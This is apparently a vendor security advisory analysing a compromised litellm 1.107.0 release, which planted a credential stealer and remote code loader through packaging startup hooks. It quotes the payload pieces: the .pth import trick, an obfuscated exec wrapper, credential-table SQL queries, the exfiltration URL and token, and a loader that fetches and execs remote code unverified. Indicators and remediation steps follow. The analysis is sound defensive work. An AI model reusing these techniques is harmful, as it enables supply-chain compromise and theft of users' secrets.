TL;DR
On October 21, 2026, litellm==1.107.0 was published from a source revision containing a credential stealer and a remote code loader. LiteLLM is a proxy and SDK that sits in front of LLM provider APIs, so the processes that run it usually hold provider API keys, cloud identities, and database connection strings. The release has since been quarantined to prevent automated downloads through package managers like PIP. Version 1.106.2 is the most recent release on PyPI.
The attack lives entirely in packaging, and LiteLLM's application code is unmodified. One line added to the Maturin build configuration, data = "cook", places three files into the Python library directory of any environment that installs the wheel: cook.pth, cook.py, and sitecustomize.py. Python executes .pth lines and imports sitecustomize on every startup, so the payload fires on any Python launch in that environment, whether or not the application uses LiteLLM.
Three things specific to this case:
- The payload runs before the application does. Running python, pip, or a test suite in an affected environment triggers collection. This includes running Python to inspect or repair the installation, which changes how responders should approach an affected host.
- It targets LiteLLM's own database. A dedicated module queries LiteLLM_CredentialsTable and LiteLLM_ProxyModelTable, the tables where a LiteLLM proxy stores provider credentials and model configuration. A compromised proxy can expose every provider key it manages, in addition to the keys on the host itself.
- A reviewed tag does not show the change. The official v1.107.0 tag does not contain the data = "cook" line or the cook/ directory. The build came from a different source revision, so reviewing the tagged source misses the attack.
Affected artifacts
A deployment that pulls latest or main-stable could have received the malicious image without anyone selecting version 1.107.0.
Timeline
All times UTC, October 21, 2026.
The container build's attached provenance records the release workflow dispatching with "source_owner": "Berri-AI", a lookalike of the legitimate BerriAI organization that differs by one hyphen. How that override was authorized is not established by the available evidence.
Technical analysis
The packaging change
The entire delivery mechanism is one line in pyproject.toml:
[tool.maturin]
manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml"
module-name = "litellm.rust_bridge._native"
python-source = "."
data = "cook"
python-packages = ["litellm_cli"]
Maturin's data setting copies a directory into the wheel's .data section. Files under cook/purelib/ install into the environment's site-packages alongside LiteLLM rather than inside the litellm/ package, which is why they run independently of it.
We compared the 1.107.0 source distribution against three source trees:
Every Python and Rust source file in the source distribution is byte-identical to the malicious revisions. The remaining 281 differences are compiled web UI assets and four Cargo.toml files where packaging adds a readme field. The source distribution was built from the malicious revision, and the packager omitted the cook/ directory from the archive. The cook/ trees in 783c43bc and 20535d8f are identical.
Execution on Python startup
The payload directory contains three files:
cook/purelib/cook.pth
cook/purelib/cook.py
cook/purelib/sitecustomize.py
cook.pth contains a single line:
import cook
Python's site module executes .pth lines that begin with import during interpreter startup. cook.py is a one-line wrapper that decodes and runs an embedded collector:
import zlib as _3659944d,base64 as _35100b45;exec(_3659944d.decompress(_35100b45.b64decode('...')), ...)The decoded collector is 61,000 bytes. It runs in a daemon thread and sets an environment variable so child processes do not collect a second time:
def pc_entry():
if os.environ.get('PRIVCOLLECT_ACTIVE'):
return
os.environ['PRIVCOLLECT_ACTIVE'] = '1'
if PC_ASYNC:
import threading
threading.Thread(target=lambda: _pc_guard(pc_run_once), daemon=True).start()After a successful upload, it writes /tmp/.pc_once_72129118c59f5636c0bb to suppress further collection. A missing marker does not clear a host. Failed uploads, temporary directory cleanup, and container replacement all leave no marker.
What the collector takes
The collector defines 16 collection modules, each wrapped in its own error handler so one failure does not stop the rest:
The LiteLLM-specific module queries the proxy's stored credentials and model configuration:
SELECT "credential_name", "credential_values" FROM "LiteLLM_CredentialsTable" LIMIT 500;
SELECT "model_name", "litellm_params" FROM "LiteLLM_ProxyModelTable" LIMIT 500;
On a LiteLLM proxy, those tables hold the provider API keys the proxy uses to serve every downstream team.
Exfiltration
The collector encrypts its results with AES-256-CBC, wraps the AES key with an embedded RSA public key using OAEP with SHA-256, and packages the output as a gzip-compressed tar archive. It sends the archive with up to four attempts and a 120-second timeout per attempt:
PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'
The request carries the header X-Token: XWiA8gZNa7NcX2XRoAEb and an X-SHA256 checksum of the body. The /healthcheck path is cover. The request body is the encrypted collection. The collector checks only the response status and does not execute the response.
The remote code loader
sitecustomize.py is the second startup entry point. Python imports sitecustomize automatically after processing .pth files. The file contains its own copy of the collector plus a persistent loader in plain source:
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
LOCK_FILE = "/tmp/remote_code_loader.lock"
The loader takes a lock on /tmp/remote_code_loader.lock, calls os.fork() and os.setsid() to detach, redirects its standard streams, and changes its working directory to /. Every hour it reads a domain from the GitHub file, fetches http://<domain>/codepy, and executes the response:
lambda: exec(compile(code, "<remote>", "exec"), {"__name__": "__main__"})There is no signature or hash check on the downloaded code. The pointer file is mutable, so the operator can activate or redirect the loader at any time without publishing a new package. An empty pointer file disables only this loader. It does not affect the collector in cook.pth.
Indicators of compromise
Package and payload hashes (SHA-256)
Container images
Network and repository indicators
Host indicators
A file named sitecustomize.py can be legitimate. Match on hash or content, not on the filename alone.
Remediation
Step 1: Find exposure
Search for the release and images anywhere they could have entered:
# Lockfiles and requirement files
grep -rnE 'litellm[=><~!]*=?\s*1\.107\.0' --include='*.txt' --include='*.lock' --include='*.toml' --include='*.cfg' .
# Installed environments: read metadata from disk, do not run the environment's Python
find / -path '*site-packages/litellm-1.107.0.dist-info' -type d 2>/dev/null
find / -path '*site-packages/cook.pth' -type f 2>/dev/null
# Local images pulled from the affected repositories, by manifest digest
docker image inspect --format '{{.Id}} {{join .RepoDigests " "}}' $(docker images -q) 2>/dev/null | \
grep -E '1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e|bd1aeee419ea36da9aa2b657288da4101887be468f020ac63d22ba6ed84a3ea5|56b74573eed6e4aafe4b50603dbe7853e0345f188c8e44a09f1098caf1f4bcdf'
# Kubernetes workloads running the affected images (imageID carries the digest)
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\t"}{.status.containerStatuses[*].imageID}{"\n"}{end}' | \
grep -E '1bbcb1443bc962|bd1aeee419ea36|56b74573eed6e4'
Check CI build logs and dependency caches from October 21, 2026, including any job that installed litellm without a version pin. Check every deployment that references ghcr.io/berriai/litellm by latest, main-latest, or main-stable.
Step 2: Contain affected hosts
- Do not start Python or pip in an affected environment as a first step. Every interpreter start runs the collector again and can relaunch the loader.
- Isolate the host or container from the network before investigating, and preserve process listings, filesystem state, and egress logs.
- Inspect with tools that do not use the affected interpreter: find, sha256sum, ps, and the container runtime.
- Kill any detached loader process, then remove cook.pth, cook.py, sitecustomize.py, and their __pycache__ entries from site-packages. Removing the litellm package alone leaves these files in place.
- Prefer rebuilding from a clean base image or a clean environment over cleaning in place.
Step 3: Rotate credentials
If Python ran in an affected environment after installation, treat every credential that process could read as exposed. Rotate from a clean machine:
- Provider API keys stored in the LiteLLM proxy database, which the mod_db_litellm module targets directly
- The LiteLLM proxy master key and database credentials
- Cloud credentials and instance roles: AWS, Azure, and GCP
- Kubernetes service account tokens and container registry credentials
- Git, npm, and PyPI tokens
- SSH, GPG, and TLS private keys
- AI tool sessions: Claude, Codex, Gemini, Cursor, and Copilot
- Every secret present in the process environment or in .env files
Review cloud, identity provider, repository, and registry audit logs for use of these credentials after the install time.
Step 4: Hunt in network logs
- Egress to www.litellm.dev with a POST to /healthcheck
- Requests to raw.githubusercontent.com/letters9813/pythonclient-test
- Any request path ending in /codepy
Scope GitHub blocking to the specific repository path. Blocking raw.githubusercontent.com broadly will break legitimate builds.
Step 5: Pin and restore
pip install 'litellm==1.106.2'
Pin container images by digest, not by tag:
image: ghcr.io/berriai/litellm@sha256:<verified 1.106.2 digest>
Block litellm==1.107.0 in your package proxy or allowlist.
Longer term
- Treat build configuration as code. The attack is one line of pyproject.toml. Review [tool.maturin], [tool.setuptools], and equivalent packaging sections with the same scrutiny as source changes, and alert on new data or .pth entries.
- Verify artifacts against the source you reviewed. Reviewing a tag does not protect you if the build ran from a different revision. Compare published wheel contents against the tagged source, and verify that build provenance names the expected repository owner, not just that provenance exists.
- Alert on startup hooks in dependencies. A new .pth file containing executable lines, or a new sitecustomize.py, in a third-party wheel is rare and high-signal.
- Pin by digest and hash. Floating container tags and unpinned installs turned a single bad release into exposure for deployments that never chose it. Hash-pinned lockfiles and digest-pinned images close that gap.
- Separate release credentials from build inputs. Restrict release workflows to approved repository owners and reviewed revisions before they receive publishing credentials.
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:








